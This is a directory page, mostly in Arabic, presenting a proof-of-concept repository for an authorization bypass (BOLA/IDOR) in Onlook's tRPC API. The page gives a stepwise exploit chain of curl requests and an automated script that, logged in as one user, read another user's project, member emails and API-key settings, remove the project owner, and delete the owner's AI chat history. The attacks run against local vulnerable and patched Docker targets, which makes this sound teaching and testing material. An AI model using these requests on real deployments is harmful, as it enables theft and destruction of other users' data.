Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/isaca0315/cve-2026-65013-bola-idor
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIأمن الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
مختبرات وتدريب عملي
GitHubisaca0315/cve-2026-65013-bola-idor

CVE-2026-65013-BOLA-IDOR

إثبات مفهوم قابل لإعادة الإنتاج لثغرة BOLA/IDOR ضد واجهة tRPC API الخاصة بـ Onlook (CVE-2026-65013)، مع سلسلة استغلال من 12 خطوة، وأهداف Docker المعرضة للثغرة والمصححة، وتوثيق تقني.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

CVE-2026-65013-BOLA-IDOR

PoC قابل لإعادة الإنتاج لـ BOLA / IDOR في واجهة tRPC الخاصة بـ Onlook (CVE-2026-65013).

أي مستخدم مُصادَق عليه يمكنه قراءة وتعديل وحذف مشاريع وأعضاء وسجل الذكاء الاصطناعي لمستخدمين آخرين بمجرد تمرير معرّفات UUID الخاصة بهم إلى إجراءات tRPC (الإصدارات <= 0.2.32).

CVECVE-2026-65013
AdvisoryGHSA-j6x3-f5cf-2pg4
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.18.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
VulnerableOnlook <= 0.2.32
Parchecommit 423e2e9 (PR onlook-dev/onlook#3129)

📚 التوثيق

المستندالمحتوى

ملخص

يُعرّض Onlook خلفيته عبر tRPC، وتستقبل الإجراءات معرّف المورد مباشرةً من العميل:

root@kitploit:~
project.get({ projectId })                // lee cualquier proyecto
member.remove({ projectId, userId })      // expulsa a cualquiera
chat.conversation.delete({ conversationId }) // borra historial de IA
settings.get({ projectId })               // settings con API keys

المشكلة: معظمها لم يكن يتحقق من أن المستدعي عضو في المشروع. كان الاتصال بـ Postgres (Drizzle) مستخدمًا خارقًا مُعفى من Row Level Security، لذا كان على التحكم أن يكون في كود tRPC... وهناك كان مفقودًا.

كان helper باسم verifyProjectAccess() موجودًا بالفعل (مطبّقًا على حفنة من الإجراءات، مثل project.update/delete)، لكن بقية السطح كان يثق بمعرّف العميل: project.get، member.list، member.remove، invitation.list، chat.conversation.*، chat.message.*، branch.*، settings.*، frame.*…

المصادقة ليست المشكلة (JWT من Supabase يعمل). إنها التفويض حسب الكائن (BOLA/IDOR): يستخدم المهاجم جلسته الشرعية الخاصة ضد معرّفات الضحية.

التفاصيل التقنية للخلل

  • يحتوي lib/authorization.js على الـ helpers المفقودة (verifyProjectAccess، verifyConversationAccess، verifyMessagesAccess، verifyBranchAccess، verifyCanvasAccess، verifyMemberRemoval، verifyInvitationAccess) — المكافئ للـ commit 423e2e9.
  • lib/router.js يستدعيها فقط إذا كان enforceAuth مُفعّلًا؛ في الوضع القابل للاستغلال تُنفَّذ الإجراءات دون التحقق (الخلل الحقيقي).
  • في الوضع المُرقَّع، يُطلق كل تحقق نفس الخطأ العام Unauthorized or not found (UNAUTHORIZED)، حتى لا يمكن تعداد وجود الموارد:
    root@kitploit:~
    // chat.conversation.delete — vulnerable (sin chequeo)  vs  parcheado:
    enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
    

⚔️ خطوة بخطوة لـ Red Team

الخطوة 0 — تشغيل البنية التحتية (Docker)

root@kitploit:~
docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → VULNERABLE
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → PARCHEADO

يشغّل Docker الـهدف (القابل للاستغلال والمُرقَّع) بالإضافة إلى خدمة demo. يتم الاستغلال من جهازك ضد هذين الهدفين.

الخطوة 1 — الاستطلاع

root@kitploit:~
curl -s http://localhost:3000/demo/ids      # ids del seed de la víctima (Alice)

هذا يستبدل القناة الحقيقية التي قد يحصل بها المهاجم على معرّفات UUID (رابط معاينة مُشارَك، referrer من السجلات، دعوات…).

الخطوة 2 — تسجيل الدخول كمهاجم (Bob، مستخدم شرعي)

root@kitploit:~
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

الخطوة 3 — الاستغلال اليدوي باستخدام curl (التنسيق الدقيق من الـ advisory)

root@kitploit:~
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}

# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice ya no está en su proyecto)

# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

الخطوة 4 — استغلال آلي (node exploit.js)

يُنفّذ 12 إجراءً في السلسلة (قراءة المشروع، سرد مشاريع Alice، تصفية الإيميلات، طرد المالك، سرد الدعوات، قراءة/حذف سجل الذكاء الاصطناعي، branches، settings مع apiKey، frames):

root@kitploit:~
node exploit.js                                  # contra :3000 (vulnerable)  → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked   # contra :3001 (parcheado)

المخرجات النموذجية (قابل للاستغلال):

root@kitploit:~
💥 project.get              → FILTRADO
💥 member.remove            → FILTRADO   (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO   (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.

ضد النسخة المُرقَّعة:

root@kitploit:~
🛡️ project.get              → BLOQUEADO   (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.

الاستغلال يُعدّل قاعدة البيانات في الذاكرة للخادم القابل للاستغلال: لإعادة تنفيذه أعد تشغيل تلك النسخة (docker compose restart server).

الخطوة 5 — التحقق / المقارنة


عروض التحقق

root@kitploit:~
npm run demo        # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh  # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real

أو في Docker:

root@kitploit:~
docker compose up -d demo
docker logs cve-2026-65013-demo

الواجهة الأمامية (وضع التطبيق الحقيقي)

root@kitploit:~
open http://localhost:3000        # (o http://localhost:3001 para la versión parcheada)

حسابات العرض:

  • Dashboard: مشاريعك (project.getPreviewProjects)، حالة الخادم (قابل للاستغلال/مُرقَّع) وسطح tRPC.
  • Red Team: وحدة تحكم تُنفّذ سلسلة BOLA الكاملة من المتصفح بصفتك Bob، مع نتائج 💥 FILTRADO / 🛡️ BLOQUEADO لكل إجراء.

الواجهة الأمامية للعرض فقط: الثغرة تكمن في lib/router.js والتدفق اليدوي باستخدام curl في README يبقى كما هو.

هيكل المشروع

root@kitploit:~
.
├── Dockerfile               node:22-alpine + deps + app
├── docker-compose.yml       server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore            excluye node_modules
├── .gitignore
├── package.json             @trpc/[email protected], @trpc/client, superjson, zod
├── server.js                HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js               PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js                  comparación vulnerable vs parcheado en proceso
├── test-local.sh            batería local: curl (formato advisory) + exploits + exit code
├── lib/
│   ├── db.js                base en memoria + seed (UUIDs estáticos y reproducibles)
│   ├── auth.js              tokens de sesión HS256 (bien hechos a propósito)
│   ├── authorization.js     helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│   └── router.js            createAppRouter({ enforceAuth }) — el surface tRPC
├── public/                  app "real" (login, dashboard, consola Red Team)
│   ├── index.html
│   ├── styles.css
│   └── app.js               cliente tRPC manual (mismo wire format del advisory)
└── docs/
    ├── CVE-2026-65013.md    documentación técnica de la CVE
    └── ARQUITECTURA.md       este repo explicado (mapa, wire format, extensión)

لفهم ما يفعله كل سطر رئيسي في الـ exploit وكيفية توسيعه إلى إجراءات إضافية: docs/ARQUITECTURA.md §8-§9.

تحذير

هذه المادة لأغراض تعليمية وبحثية أمنية فقط. استخدم الـ exploit فقط ضد تطبيقاتك الخاصة أو بموافقة كتابية من المالك. الاستخدام غير المصرّح به لهذه التقنية ضد أنظمة الغير غير قانوني والمسؤول عن استخدامه هو من يقوم به.

تنزيل الأداة
docs/CVE-2026-65013.md
التفاصيل التقنية لـ CVE: السبب الجذري (RLS مُعفى + helper موزّع بشكل خاطئ)، السطح المتأثر الفعلي، تشريح الهجوم، تحليل سطرًا بسطر لإصلاح 423e2e9، المعالجة، مراجع CVE/advisory/PR.
docs/ARQUITECTURA.mdخاص بـ PoC: خريطة الملفات، wire format tRPC v10+superjson، نموذج البيانات، مخطط VULN مقابل FIX، جدول الإجراءات، ربط PoC ↔ Onlook الحقيقي، دليل التوسيع، التحقق/CI اليدوي.
  • يبقى project.update محميًا في كلا الوضعين كـ"تباين": يُثبت أن الـ helper كان موجودًا، لكنه كان موزّعًا بشكل خاطئ.
  • الإجراء:3000 قابل للاستغلال:3001 مُرقَّع
    project.get (مشروع الغير)200 + الاسم/البيانات الوصفية401 Unauthorized or not found
    member.list (إيميلات الغير)200 + الإيميلات401
    member.remove (طرد المالك)200 true401
    chat.conversation.delete200 true401
    settings.get (apiKey)200 + settings401
    project.update (تباين: كان محميًا بالفعل)401401
    EmailPasswordالدور
    [email protected]alice123مالكة المشروع السري
    [email protected]bob123المهاجم
    [email protected]charlie123محرّر مشروع Alice